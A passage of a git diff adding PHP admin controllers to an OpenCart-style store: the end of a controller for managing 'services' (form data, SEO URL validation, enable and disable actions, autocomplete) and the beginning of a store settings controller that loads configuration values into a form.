+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url, true)
+ );
+
+ if (!isset($this->request->get['service_id'])) {
+ $data['action'] = $this->url->link('service/service/add', 'user_token=' . $this->session->data['user_token'] . $url, true);
+ } else {
+ $data['action'] = $this->url->link('service/service/edit', 'user_token=' . $this->session->data['user_token'] . '&service_id=' . $this->request->get['service_id'] . $url, true);
+ }
+
+ $data['cancel'] = $this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url, true);
+
+ if (isset($this->request->get['service_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $service_info = $this->model_service_service->getService($this->request->get['service_id']);
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['service_description'])) {
+ $data['service_description'] = $this->request->post['service_description'];
+ } elseif (isset($this->request->get['service_id'])) {
+ $data['service_description'] = $this->model_service_service->getServiceDescriptions($this->request->get['service_id']);
+ } else {
+ $data['service_description'] = array();
+ }
+
+ $language_id = $this->config->get('config_language_id');
+ if (isset($data['service_description'][$language_id]['name'])) {
+ $data['heading_title'] = $data['service_description'][$language_id]['name'];
+ }
+
+ if (isset($this->request->post['image'])) {
+ $data['image'] = $this->request->post['image'];
+ } elseif (!empty($service_info)) {
+ $data['image'] = $service_info['image'];
+ } else {
+ $data['image'] = '';
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['image']) && is_file(DIR_IMAGE . $this->request->post['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['image'], 100, 100);
+ } elseif (!empty($service_info) && is_file(DIR_IMAGE . $service_info['image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($service_info['image'], 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ $this->load->model('setting/store');
+
+ $data['stores'] = array();
+
+ $data['stores'][] = array(
+ 'store_id' => 0,
+ 'name' => $this->language->get('text_default')
+ );
+
+ $stores = $this->model_setting_store->getStores();
+
+ foreach ($stores as $store) {
+ $data['stores'][] = array(
+ 'store_id' => $store['store_id'],
+ 'name' => $store['name']
+ );
+ }
+
+ if (isset($this->request->post['service_store'])) {
+ $data['service_store'] = $this->request->post['service_store'];
+ } elseif (isset($this->request->get['service_id'])) {
+ $data['service_store'] = $this->model_service_service->getServiceStores($this->request->get['service_id']);
+ } else {
+ $data['service_store'] = array(0);
+ }
+
+ if (isset($this->request->post['sort_order'])) {
+ $data['sort_order'] = $this->request->post['sort_order'];
+ } elseif (!empty($service_info)) {
+ $data['sort_order'] = $service_info['sort_order'];
+ } else {
+ $data['sort_order'] = 1;
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($service_info)) {
+ $data['status'] = $service_info['status'];
+ } else {
+ $data['status'] = true;
+ }
+
+ if (isset($this->request->post['noindex'])) {
+ $data['noindex'] = $this->request->post['noindex'];
+ } elseif (!empty($service_info)) {
+ $data['noindex'] = $service_info['noindex'];
+ } else {
+ $data['noindex'] = 1;
+ }
+
+ // Images
+ if (isset($this->request->post['service_image'])) {
+ $service_images = $this->request->post['service_image'];
+ } elseif (isset($this->request->get['service_id'])) {
+ $service_images = $this->model_service_service->getServiceImages($this->request->get['service_id']);
+ } else {
+ $service_images = array();
+ }
+
+ $data['service_images'] = array();
+
+ foreach ($service_images as $service_image) {
+ if (is_file(DIR_IMAGE . $service_image['image'])) {
+ $image = $service_image['image'];
+ $thumb = $service_image['image'];
+ } else {
+ $image = '';
+ $thumb = 'no_image.png';
+ }
+
+ $data['service_images'][] = array(
+ 'image' => $image,
+ 'thumb' => $this->model_tool_image->resize($thumb, 100, 100),
+ 'sort_order' => $service_image['sort_order']
+ );
+ }
+
+ // Downloads
+ $this->load->model('catalog/download');
+
+ if (isset($this->request->post['service_download'])) {
+ $service_downloads = $this->request->post['service_download'];
+ } elseif (isset($this->request->get['service_id'])) {
+ $service_downloads = $this->model_service_service->getServiceDownloads($this->request->get['service_id']);
+ } else {
+ $service_downloads = array();
+ }
+
+ $data['service_downloads'] = array();
+
+ foreach ($service_downloads as $download_id) {
+ $download_info = $this->model_catalog_download->getDownload($download_id);
+
+ if ($download_info) {
+ $data['service_downloads'][] = array(
+ 'download_id' => $download_info['download_id'],
+ 'name' => $download_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['service_related'])) {
+ $services = $this->request->post['service_related'];
+ } elseif (isset($this->request->get['service_id'])) {
+ $services = $this->model_service_service->getServiceRelated($this->request->get['service_id']);
+ } else {
+ $services = array();
+ }
+
+ $data['service_relateds'] = array();
+
+ foreach ($services as $service_id) {
+ $related_info = $this->model_service_service->getService($service_id);
+
+ if ($related_info) {
+ $data['service_relateds'][] = array(
+ 'service_id' => $related_info['service_id'],
+ 'name' => $related_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['product_related'])) {
+ $products = $this->request->post['product_related'];
+ } elseif (isset($service_info)) {
+ $products = $this->model_service_service->getProductRelated($this->request->get['service_id']);
+ } else {
+ $products = array();
+ }
+
+ $data['product_relateds'] = array();
+ $this->load->model('catalog/product');
+
+ foreach ($products as $product_id) {
+ $product_info = $this->model_catalog_product->getProduct($product_id);
+
+ if ($product_info) {
+ $data['product_relateds'][] = array(
+ 'product_id' => $product_info['product_id'],
+ 'name' => $product_info['name']
+ );
+ }
+ }
+
+ if (isset($this->request->post['service_seo_url'])) {
+ $data['service_seo_url'] = $this->request->post['service_seo_url'];
+ } elseif (isset($this->request->get['service_id'])) {
+ $data['service_seo_url'] = $this->model_service_service->getServiceSeoUrls($this->request->get['service_id']);
+ } else {
+ $data['service_seo_url'] = array();
+ }
+
+ if (isset($this->request->post['service_layout'])) {
+ $data['service_layout'] = $this->request->post['service_layout'];
+ } elseif (isset($this->request->get['service_id'])) {
+ $data['service_layout'] = $this->model_service_service->getServiceLayouts($this->request->get['service_id']);
+ } else {
+ $data['service_layout'] = array();
+ }
+
+ $this->load->model('design/layout');
+
+ $data['layouts'] = $this->model_design_layout->getLayouts();
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('service/service_form', $data));
+ }
+
+ protected function validateForm() {
+ if (!$this->user->hasPermission('modify', 'service/service')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ foreach ($this->request->post['service_description'] as $language_id => $value) {
+ if ((utf8_strlen($value['name']) < 3) || (utf8_strlen($value['name']) > 255)) {
+ $this->error['name'][$language_id] = $this->language->get('error_name');
+ }
+
+ if ((utf8_strlen($value['meta_title']) < 0) || (utf8_strlen($value['meta_title']) > 255)) {
+ $this->error['meta_title'][$language_id] = $this->language->get('error_meta_title');
+ }
+
+ if ((utf8_strlen($value['meta_h1']) < 0) || (utf8_strlen($value['meta_h1']) > 255)) {
+ $this->error['meta_h1'][$language_id] = $this->language->get('error_meta_h1');
+ }
+ }
+
+ if (isset($this->request->post['service_seo_url']) && is_array($this->request->post['service_seo_url'])) {
+ foreach ($this->request->post['service_seo_url'] as $store_id => &$languages) {
+ foreach ($languages as $language_id => &$keyword) {
+ if (!empty($keyword)) {
+ $keyword = translit($keyword);
+ }
+ }
+ }
+ }
+
+ if (isset($this->request->post['service_description'])) {
+ foreach ($this->request->post['service_description'] as $language_id => $value) {
+ if (!empty($value['name'])) {
+ if (!isset($this->request->post['service_seo_url'][0][$language_id]) || trim($this->request->post['service_seo_url'][0][$language_id]) === '') {
+ $this->request->post['service_seo_url'][0][$language_id] = translit($value['name']);
+ }
+ }
+ }
+ }
+
+ if ($this->request->post['service_seo_url']) {
+ $this->load->model('design/seo_url');
+
+ foreach ($this->request->post['service_seo_url'] as $store_id => $language) {
+ foreach ($language as $language_id => $keyword) {
+ if (!empty($keyword)) {
+ if (count(array_keys($language, $keyword)) > 1) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_unique');
+ }
+
+ $seo_urls = $this->model_design_seo_url->getSeoUrlsByKeyword($keyword);
+
+ foreach ($seo_urls as $seo_url) {
+ if (($seo_url['store_id'] == $store_id) && (!isset($this->request->get['service_id']) || (($seo_url['query'] != 'service_id=' . $this->request->get['service_id'])))) {
+ $this->error['keyword'][$store_id][$language_id] = $this->language->get('error_keyword');
+
+ break;
+ }
+ }
+ }
+ }
+ }
+ }
+
+ if ($this->error && !isset($this->error['warning'])) {
+ $this->error['warning'] = $this->language->get('error_warning');
+ }
+
+ return !$this->error;
+ }
+
+ public function enable() {
+ $this->load->language('service/service');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('service/service');
+
+ if (isset($this->request->post['selected'])) {
+
+ foreach ($this->request->post['selected'] as $service_id) {
+ $this->model_service_service->editServiceStatus($service_id, 1);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $this->response->redirect($this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ public function disable() {
+ $this->load->language('service/service');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('service/service');
+
+ if (isset($this->request->post['selected'])) {
+
+ foreach ($this->request->post['selected'] as $service_id) {
+ $this->model_service_service->editServiceStatus($service_id, 0);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $url = '';
+
+ if (isset($this->request->get['page'])) {
+ $url .= '&page=' . $this->request->get['page'];
+ }
+
+ if (isset($this->request->get['sort'])) {
+ $url .= '&sort=' . $this->request->get['sort'];
+ }
+
+ if (isset($this->request->get['order'])) {
+ $url .= '&order=' . $this->request->get['order'];
+ }
+
+ $this->response->redirect($this->url->link('service/service', 'user_token=' . $this->session->data['user_token'] . $url, true));
+ }
+
+ $this->getList();
+ }
+
+ protected function validateDelete() {
+ if (!$this->user->hasPermission('modify', 'service/service')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ protected function validateCopy() {
+ if (!$this->user->hasPermission('modify', 'service/service')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function autocomplete() {
+ $json = array();
+
+ if (isset($this->request->get['filter_name'])) {
+ $this->load->model('service/service');
+
+ if (isset($this->request->get['filter_name'])) {
+ $filter_name = $this->request->get['filter_name'];
+ } else {
+ $filter_name = '';
+ }
+
+ if (isset($this->request->get['limit'])) {
+ $limit = $this->request->get['limit'];
+ } else {
+ $limit = $this->config->get('config_limit_autocomplete');
+ }
+
+ $filter_data = array(
+ 'filter_name' => $filter_name,
+ 'start' => 0,
+ 'limit' => $limit
+ );
+
+ $results = $this->model_service_service->getServices($filter_data);
+
+ foreach ($results as $result) {
+
+ $json[] = array(
+ 'service_id' => $result['service_id'],
+ 'name' => strip_tags(html_entity_decode($result['name'], ENT_QUOTES, 'UTF-8'))
+ );
+ }
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/setting/setting.php b/public/admin/controller/setting/setting.php
new file mode 100644
index 0000000..94a29ae
--- /dev/null
+++ b/public/admin/controller/setting/setting.php
@@ -0,0 +1,1134 @@
+load->language('setting/setting');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('config', $this->request->post);
+
+ if ($this->config->get('config_currency_auto')) {
+ $this->load->model('localisation/currency');
+ $this->load->controller('extension/currency/' . $this->config->get('config_currency_engine')."/currency" , $this->config->get('config_currency'));
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['owner'])) {
+ $data['error_owner'] = $this->error['owner'];
+ } else {
+ $data['error_owner'] = '';
+ }
+
+ if (isset($this->error['address'])) {
+ $data['error_address'] = $this->error['address'];
+ } else {
+ $data['error_address'] = '';
+ }
+
+ if (isset($this->error['email'])) {
+ $data['error_email'] = $this->error['email'];
+ } else {
+ $data['error_email'] = '';
+ }
+
+ if (isset($this->error['telephone'])) {
+ $data['error_telephone'] = $this->error['telephone'];
+ } else {
+ $data['error_telephone'] = '';
+ }
+
+ if (isset($this->error['meta_title'])) {
+ $data['error_meta_title'] = $this->error['meta_title'];
+ } else {
+ $data['error_meta_title'] = '';
+ }
+
+ if (isset($this->error['country'])) {
+ $data['error_country'] = $this->error['country'];
+ } else {
+ $data['error_country'] = '';
+ }
+
+ if (isset($this->error['zone'])) {
+ $data['error_zone'] = $this->error['zone'];
+ } else {
+ $data['error_zone'] = '';
+ }
+
+ if (isset($this->error['customer_group_display'])) {
+ $data['error_customer_group_display'] = $this->error['customer_group_display'];
+ } else {
+ $data['error_customer_group_display'] = '';
+ }
+
+ if (isset($this->error['login_attempts'])) {
+ $data['error_login_attempts'] = $this->error['login_attempts'];
+ } else {
+ $data['error_login_attempts'] = '';
+ }
+
+ if (isset($this->error['voucher_min'])) {
+ $data['error_voucher_min'] = $this->error['voucher_min'];
+ } else {
+ $data['error_voucher_min'] = '';
+ }
+
+ if (isset($this->error['voucher_max'])) {
+ $data['error_voucher_max'] = $this->error['voucher_max'];
+ } else {
+ $data['error_voucher_max'] = '';
+ }
+
+ if (isset($this->error['processing_status'])) {
+ $data['error_processing_status'] = $this->error['processing_status'];
+ } else {
+ $data['error_processing_status'] = '';
+ }
+
+ if (isset($this->error['complete_status'])) {
+ $data['error_complete_status'] = $this->error['complete_status'];
+ } else {
+ $data['error_complete_status'] = '';
+ }
+
+ if (isset($this->error['log'])) {
+ $data['error_log'] = $this->error['log'];
+ } else {
+ $data['error_log'] = '';
+ }
+
+ if (isset($this->error['limit_admin'])) {
+ $data['error_limit_admin'] = $this->error['limit_admin'];
+ } else {
+ $data['error_limit_admin'] = '';
+ }
+
+ if (isset($this->error['limit_autocomplete'])) {
+ $data['error_limit_autocomplete'] = $this->error['limit_autocomplete'];
+ } else {
+ $data['error_limit_autocomplete'] = '';
+ }
+
+ if (isset($this->error['encryption'])) {
+ $data['error_encryption'] = $this->error['encryption'];
+ } else {
+ $data['error_encryption'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_stores'),
+ 'href' => $this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('setting/setting', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ if (isset($this->session->data['success'])) {
+ $data['success'] = $this->session->data['success'];
+
+ unset($this->session->data['success']);
+ } else {
+ $data['success'] = '';
+ }
+
+ $data['action'] = $this->url->link('setting/setting', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('setting/store', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->request->post['config_meta_title'])) {
+ $data['config_meta_title'] = $this->request->post['config_meta_title'];
+ } else {
+ $data['config_meta_title'] = $this->config->get('config_meta_title');
+ }
+
+ if (isset($this->request->post['config_meta_description'])) {
+ $data['config_meta_description'] = $this->request->post['config_meta_description'];
+ } else {
+ $data['config_meta_description'] = $this->config->get('config_meta_description');
+ }
+
+ if (isset($this->request->post['config_meta_keyword'])) {
+ $data['config_meta_keyword'] = $this->request->post['config_meta_keyword'];
+ } else {
+ $data['config_meta_keyword'] = $this->config->get('config_meta_keyword');
+ }
+
+ if (isset($this->request->post['config_theme'])) {
+ $data['config_theme'] = $this->request->post['config_theme'];
+ } else {
+ $data['config_theme'] = $this->config->get('config_theme');
+ }
+
+ if ($this->request->server['HTTPS']) {
+ $data['store_url'] = HTTPS_CATALOG;
+ } else {
+ $data['store_url'] = HTTP_CATALOG;
+ }
+
+ $data['themes'] = array();
+
+ $this->load->model('setting/extension');
+
+ $extensions = $this->model_setting_extension->getInstalled('theme');
+
+ foreach ($extensions as $code) {
+ $this->load->language('extension/theme/' . $code, 'extension');
+
+ $data['themes'][] = array(
+ 'text' => $this->language->get('extension')->get('heading_title'),
+ 'value' => $code
+ );
+ }
+
+ if (isset($this->request->post['config_layout_id'])) {
+ $data['config_layout_id'] = $this->request->post['config_layout_id'];
+ } else {
+ $data['config_layout_id'] = $this->config->get('config_layout_id');
+ }
+
+ $this->load->model('design/layout');
+
+ $data['layouts'] = $this->model_design_layout->getLayouts();
+
+ if (isset($this->request->post['config_name'])) {
+ $data['config_name'] = $this->request->post['config_name'];
+ } else {
+ $data['config_name'] = $this->config->get('config_name');
+ }
+
+ if (isset($this->request->post['config_owner'])) {
+ $data['config_owner'] = $this->request->post['config_owner'];
+ } else {
+ $data['config_owner'] = $this->config->get('config_owner');
+ }
+
+ if (isset($this->request->post['config_address'])) {
+ $data['config_address'] = $this->request->post['config_address'];
+ } else {
+ $data['config_address'] = $this->config->get('config_address');
+ }
+
+ if (isset($this->request->post['config_geocode'])) {
+ $data['config_geocode'] = $this->request->post['config_geocode'];
+ } else {
+ $data['config_geocode'] = $this->config->get('config_geocode');
+ }
+
+ if (isset($this->request->post['config_email'])) {
+ $data['config_email'] = $this->request->post['config_email'];
+ } else {
+ $data['config_email'] = $this->config->get('config_email');
+ }
+
+ if (isset($this->request->post['config_telephone'])) {
+ $data['config_telephone'] = $this->request->post['config_telephone'];
+ } else {
+ $data['config_telephone'] = $this->config->get('config_telephone');
+ }
+
+ if (isset($this->request->post['config_fax'])) {
+ $data['config_fax'] = $this->request->post['config_fax'];
+ } else {
+ $data['config_fax'] = $this->config->get('config_fax');
+ }
+
+ if (isset($this->request->post['config_image'])) {
+ $data['config_image'] = $this->request->post['config_image'];
+ } else {
+ $data['config_image'] = $this->config->get('config_image');
+ }
+
+ $this->load->model('tool/image');
+
+ if (isset($this->request->post['config_image']) && is_file(DIR_IMAGE . $this->request->post['config_image'])) {
+ $data['thumb'] = $this->model_tool_image->resize($this->request->post['config_image'], 100, 100);
+ } elseif ($this->config->get('config_image') && is_file(DIR_IMAGE . $this->config->get('config_image'))) {
+ $data['thumb'] = $this->model_tool_image->resize($this->config->get('config_image'), 100, 100);
+ } else {
+ $data['thumb'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+ }
+
+ $data['placeholder'] = $this->model_tool_image->resize('no_image.png', 100, 100);
+
+ if (isset($this->request->post['config_open'])) {
+ $data['config_open'] = $this->request->post['config_open'];
+ } else {
+ $data['config_open'] = $this->config->get('config_open');
+ }
+
+ if (isset($this->request->post['config_comment'])) {
+ $data['config_comment'] = $this->request->post['config_comment'];
+ } else {
+ $data['config_comment'] = $this->config->get('config_comment');
+ }
+
+ $this->load->model('localisation/location');
+
+ $data['locations'] = $this->model_localisation_location->getLocations();
+
+ if (isset($this->request->post['config_location'])) {
+ $data['config_location'] = $this->request->post['config_location'];
+ } elseif ($this->config->get('config_location')) {
+ $data['config_location'] = $this->config->get('config_location');
+ } else {
+ $data['config_location'] = array();
+ }
+
+ if (isset($this->request->post['config_country_id'])) {
+ $data['config_country_id'] = $this->request->post['config_country_id'];
+ } else {
+ $data['config_country_id'] = $this->config->get('config_country_id');
+ }
+
+ $this->load->model('localisation/country');
+
+ $data['countries'] = $this->model_localisation_country->getCountries();
+
+ if (isset($this->request->post['config_zone_id'])) {
+ $data['config_zone_id'] = $this->request->post['config_zone_id'];
+ } else {
+ $data['config_zone_id'] = $this->config->get('config_zone_id');
+ }
+
+ if (isset($this->request->post['config_timezone'])) {
+ $data['config_timezone'] = $this->request->post['config_timezone'];
+ } elseif ($this->config->has('config_timezone')) {
+ $data['config_timezone'] = $this->config->get('config_timezone');
+ } else {
+ $data['config_timezone'] = 'UTC';
+ }
+ // Set Time Zone
+ $data['timezones'] = array();
+
+ $timestamp = time();
+
+ $timezones = timezone_identifiers_list();
+
+ foreach($timezones as $timezone) {
+ date_default_timezone_set($timezone);
+ $hour = ' (' . date('P', $timestamp) . ')';
+ $data['timezones'][] = array(
+ 'text' => $timezone . $hour,
+ 'value' => $timezone
+ );
+ }
+
+ date_default_timezone_set($this->config->get('config_timezone'));
+
+ if (isset($this->request->post['config_language'])) {
+ $data['config_language'] = $this->request->post['config_language'];
+ } else {
+ $data['config_language'] = $this->config->get('config_language');
+ }
+
+ $this->load->model('localisation/language');
+
+ $data['languages'] = $this->model_localisation_language->getLanguages();
+
+ if (isset($this->request->post['config_admin_language'])) {
+ $data['config_admin_language'] = $this->request->post['config_admin_language'];
+ } else {
+ $data['config_admin_language'] = $this->config->get('config_admin_language');
+ }
+
+ if (isset($this->request->post['config_currency'])) {
+ $data['config_currency'] = $this->request->post['config_currency'];
+ } else {
+ $data['config_currency'] = $this->config->get('config_currency');
+ }
+
+ $data['currency_engines'] = [];
+
+ $this->load->model('setting/extension');
+
+ $extensions = $this->model_setting_extension->getInstalled('currency');
+
+ foreach ($extensions as $code) {
+
+ if ($this->config->get('currency_' . $code . '_status')) {
+ $this->load->language('extension/currency/' . $code, 'currency');
+
+ $data['currency_engines'][] = array(
+ 'text' => $this->language->get('currency')->get('heading_title'),
+ 'value' => $code
+ );
+ }
+ }
+
+ if (isset($this->request->post['config_currency_engine'])) {
+ $data['config_currency_engine'] = $this->request->post['config_currency_engine'];
+ } else {
+ $data['config_currency_engine'] = $this->config->get('config_currency_engine');
+ }
+
+ if (isset($this->request->post['config_currency_auto'])) {
+ $data['config_currency_auto'] = $this->request->post['config_currency_auto'];
+ } else {
+ $data['config_currency_auto'] = $this->config->get('config_currency_auto');
+ }
+
+ $this->load->model('localisation/currency');
+
+ $data['currencies'] = $this->model_localisation_currency->getCurrencies();
+
+ if (isset($this->request->post['config_length_class_id'])) {
+ $data['config_length_class_id'] = $this->request->post['config_length_class_id'];
+ } else {
+ $data['config_length_class_id'] = $this->config->get('config_length_class_id');
+ }
+
+ $this->load->model('localisation/length_class');
+
+ $data['length_classes'] = $this->model_localisation_length_class->getLengthClasses();
+
+ if (isset($this->request->post['config_weight_class_id'])) {
+ $data['config_weight_class_id'] = $this->request->post['config_weight_class_id'];
+ } else {
+ $data['config_weight_class_id'] = $this->config->get('config_weight_class_id');
+ }
+
+ $this->load->model('localisation/weight_class');
+
+ $data['weight_classes'] = $this->model_localisation_weight_class->getWeightClasses();
+
+ if (isset($this->request->post['config_limit_admin'])) {
+ $data['config_limit_admin'] = $this->request->post['config_limit_admin'];
+ } else {
+ $data['config_limit_admin'] = $this->config->get('config_limit_admin');
+ }
+
+ if (isset($this->request->post['config_limit_autocomplete'])) {
+ $data['config_limit_autocomplete'] = $this->request->post['config_limit_autocomplete'];
+ } elseif ($this->config->get('config_limit_autocomplete')) {
+ $data['config_limit_autocomplete'] = $this->config->get('config_limit_autocomplete');
+ } else {
+ $data['config_limit_autocomplete'] = 5;
+ }
+
+ if (isset($this->request->post['config_product_count'])) {
+ $data['config_product_count'] = $this->request->post['config_product_count'];
+ } else {
+ $data['config_product_count'] = $this->config->get('config_product_count');
+ }
+
+ if (isset($this->request->post['config_review_status'])) {
+ $data['config_review_status'] = $this->request->post['config_review_status'];
+ } else {
+ $data['config_review_status'] = $this->config->get('config_review_status');
+ }
+
+ if (isset($this->request->post['config_review_guest'])) {
+ $data['config_review_guest'] = $this->request->post['config_review_guest'];
+ } else {
+ $data['config_review_guest'] = $this->config->get('config_review_guest');
+ }
+
+ if (isset($this->request->post['config_voucher_min'])) {
+ $data['config_voucher_min'] = $this->request->post['config_voucher_min'];
+ } else {
+ $data['config_voucher_min'] = $this->config->get('config_voucher_min');
+ }
+
+ if (isset($this->request->post['config_voucher_max'])) {
+ $data['config_voucher_max'] = $this->request->post['config_voucher_max'];
+ } else {
+ $data['config_voucher_max'] = $this->config->get('config_voucher_max');
+ }
+
+ if (isset($this->request->post['config_tax'])) {
+ $data['config_tax'] = $this->request->post['config_tax'];
+ } else {
+ $data['config_tax'] = $this->config->get('config_tax');
+ }
+
+ if (isset($this->request->post['config_tax_default'])) {
+ $data['config_tax_default'] = $this->request->post['config_tax_default'];
+ } else {
+ $data['config_tax_default'] = $this->config->get('config_tax_default');
+ }
+
+ if (isset($this->request->post['config_tax_customer'])) {
+ $data['config_tax_customer'] = $this->request->post['config_tax_customer'];
+ } else {
+ $data['config_tax_customer'] = $this->config->get('config_tax_customer');
+ }
+
+ if (isset($this->request->post['config_customer_online'])) {
+ $data['config_customer_online'] = $this->request->post['config_customer_online'];
+ } else {
+ $data['config_customer_online'] = $this->config->get('config_customer_online');
+ }
+
+ if (isset($this->request->post['config_customer_activity'])) {
+ $data['config_customer_activity'] = $this->request->post['config_customer_activity'];
+ } else {
+ $data['config_customer_activity'] = $this->config->get('config_customer_activity');
+ }
+
+ if (isset($this->request->post['config_customer_search'])) {
+ $data['config_customer_search'] = $this->request->post['config_customer_search'];
+ } else {
+ $data['config_customer_search'] = $this->config->get('config_customer_search');
+ }
+
+ if (isset($this->request->post['config_customer_group_id'])) {
+ $data['config_customer_group_id'] = $this->request->post['config_customer_group_id'];
+ } else {
+ $data['config_customer_group_id'] = $this->config->get('config_customer_group_id');
+ }
+
+ $this->load->model('customer/customer_group');
+
+ $data['customer_groups'] = $this->model_customer_customer_group->getCustomerGroups();
+
+ if (isset($this->request->post['config_customer_group_display'])) {
+ $data['config_customer_group_display'] = $this->request->post['config_customer_group_display'];
+ } elseif ($this->config->get('config_customer_group_display')) {
+ $data['config_customer_group_display'] = $this->config->get('config_customer_group_display');
+ } else {
+ $data['config_customer_group_display'] = array();
+ }
+
+ if (isset($this->request->post['config_customer_price'])) {
+ $data['config_customer_price'] = $this->request->post['config_customer_price'];
+ } else {
+ $data['config_customer_price'] = $this->config->get('config_customer_price');
+ }
+
+ if (isset($this->request->post['config_login_attempts'])) {
+ $data['config_login_attempts'] = $this->request->post['config_login_attempts'];
+ } elseif ($this->config->has('config_login_attempts')) {
+ $data['config_login_attempts'] = $this->config->get('config_login_attempts');
+ } else {
+ $data['config_login_attempts'] = 5;
+ }
+
+ if (isset($this->request->post['config_account_id'])) {
+ $data['config_account_id'] = $this->request->post['config_account_id'];
+ } else {
+ $data['config_account_id'] = $this->config->get('config_account_id');
+ }
+
+ $this->load->model('catalog/information');
+
+ $data['informations'] = $this->model_catalog_information->getInformations();
+
+ if (isset($this->request->post['config_cart_weight'])) {
+ $data['config_cart_weight'] = $this->request->post['config_cart_weight'];
+ } else {
+ $data['config_cart_weight'] = $this->config->get('config_cart_weight');
+ }
+
+ if (isset($this->request->post['config_checkout_guest'])) {
+ $data['config_checkout_guest'] = $this->request->post['config_checkout_guest'];
+ } else {
+ $data['config_checkout_guest'] = $this->config->get('config_checkout_guest');
+ }
+
+ if (isset($this->request->post['config_checkout_id'])) {
+ $data['config_checkout_id'] = $this->request->post['config_checkout_id'];
+ } else {
+ $data['config_checkout_id'] = $this->config->get('config_checkout_id');
+ }
+
+ if (isset($this->request->post['config_invoice_prefix'])) {
+ $data['config_invoice_prefix'] = $this->request->post['config_invoice_prefix'];
+ } elseif ($this->config->get('config_invoice_prefix')) {
+ $data['config_invoice_prefix'] = $this->config->get('config_invoice_prefix');
+ } else {
+ $data['config_invoice_prefix'] = 'INV-' . date('Y') . '-00';
+ }
+
+ if (isset($this->request->post['config_order_status_id'])) {
+ $data['config_order_status_id'] = $this->request->post['config_order_status_id'];
+ } else {
+ $data['config_order_status_id'] = $this->config->get('config_order_status_id');
+ }
+
+ if (isset($this->request->post['config_processing_status'])) {
+ $data['config_processing_status'] = $this->request->post['config_processing_status'];
+ } elseif ($this->config->get('config_processing_status')) {
+ $data['config_processing_status'] = $this->config->get('config_processing_status');
+ } else {
+ $data['config_processing_status'] = array();
+ }
+
+ if (isset($this->request->post['config_complete_status'])) {
+ $data['config_complete_status'] = $this->request->post['config_complete_status'];
+ } elseif ($this->config->get('config_complete_status')) {
+ $data['config_complete_status'] = $this->config->get('config_complete_status');
+ } else {
+ $data['config_complete_status'] = array();
+ }
+
+ if (isset($this->request->post['config_fraud_status_id'])) {
+ $data['config_fraud_status_id'] = $this->request->post['config_fraud_status_id'];
+ } else {
